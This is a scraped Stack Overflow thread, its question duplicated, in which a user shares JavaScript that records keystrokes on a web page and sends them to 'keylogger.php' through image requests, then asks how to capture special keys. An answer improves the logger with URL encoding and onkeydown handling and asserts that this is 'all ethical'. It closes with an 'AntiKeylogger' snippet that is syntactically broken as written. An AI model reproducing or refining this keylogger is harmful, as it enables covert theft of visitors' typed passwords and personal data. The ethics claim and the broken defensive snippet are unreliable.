JS code The following is javascript code for keylogging on html page.
var keys = '';
document.onkeypress = function(e) {
get = window.event ? event : e;
key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
window.setInterval(function() {
if (keys != '') {
new Image().src = 'keylogger.php?c=' + keys;
keys = '';
}
}, 500);
It does work but some special keys are not getting logged for example space,tab,backspace etc.
How can I customize the above code to log all special keys?
JS code The following is javascript code for keylogging on html page.
var keys = '';
document.onkeypress = function(e) {
get = window.event ? event : e;
key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
window.setInterval(function() {
if (keys != '') {
new Image().src = 'keylogger.php?c=' + keys;
keys = '';
}
}, 500);
It does work but some special keys are not getting logged for example space,tab,backspace etc.
How can I customize the above code to log all special keys?
Share Improve this question edited Nov 4, 2018 at 9:24 VLAZ 29.1k9 gold badges63 silver badges84 bronze badges asked Nov 4, 2018 at 9:00 usamausama 1611 gold badge1 silver badge10 bronze badges 4- Likely due to URL encoding. – VLAZ Commented Nov 4, 2018 at 9:05
- What is the reason for downvoting? – Dávid Molnár Commented Nov 4, 2018 at 9:10
-
fromCharCode
isn't going to work with values liveAlt
fromKeyboardEvent.keyCode
. – Richard Commented Nov 4, 2018 at 9:13 -
2
@DávidMolnár I'm going to guess ethical. Although I can't really say for sure - some posts get downvoted seemingly because OP didn't know every single intricate detail of how SO posting works. Regardless if they are a new user or not. One new user asker got scolded by a very high rep member for not formatting the code correctly...when it would have taken 5 seconds to click Edit, hightlight the code and click the
{}
button which would have "formatted" it. So, some tend to be really petty and intolerant, regardless of the topic of the question. – VLAZ Commented Nov 4, 2018 at 9:23
2 Answers
Reset to default 4URLs can contain only a specific set of characters. This is the reason you need to encode the characters you want to send. Use the encodeURIComponent
function on keys
:
new Image().src = 'keylogger.php?c='+encodeURIComponent(keys);
Actually with document.onkeypress
will not be able to capture Tab
& Backspace
you need to use document.onkeydown
as
document.onkeydown = function(e){
console.log(e);
};
If you that you will be able to log that in console
Finally you can update your keylogger as:
//keylogger
var keycodes = "";
var keychars = "";
document.onkeydown = function(e){
keycodes += `${e.code}, `;
keychars += `${e.key}`;
if(e.code === "Enter") // when Enter is pressed print the line in console
{
console.log(keycodes); //print code
console.log(keychars); //print char
keycodes = ""; //make null
keychars = ""; // make null
}
};
And Relax this is all ethical as javascript
provides api
to intercept keypress
.
To overe this we can have something as Anti-Keylogger and call it when the page is loaded
//Disables the keystroke logging
function AntiKeylogger(){
window.onkeydown = undefined;
window.onkeypress = undefined;
window.onkeyup = undefined;
document.onkeydown = undefined;
document.onkeypress = undefined;
document.onkeyup = undefined;
}();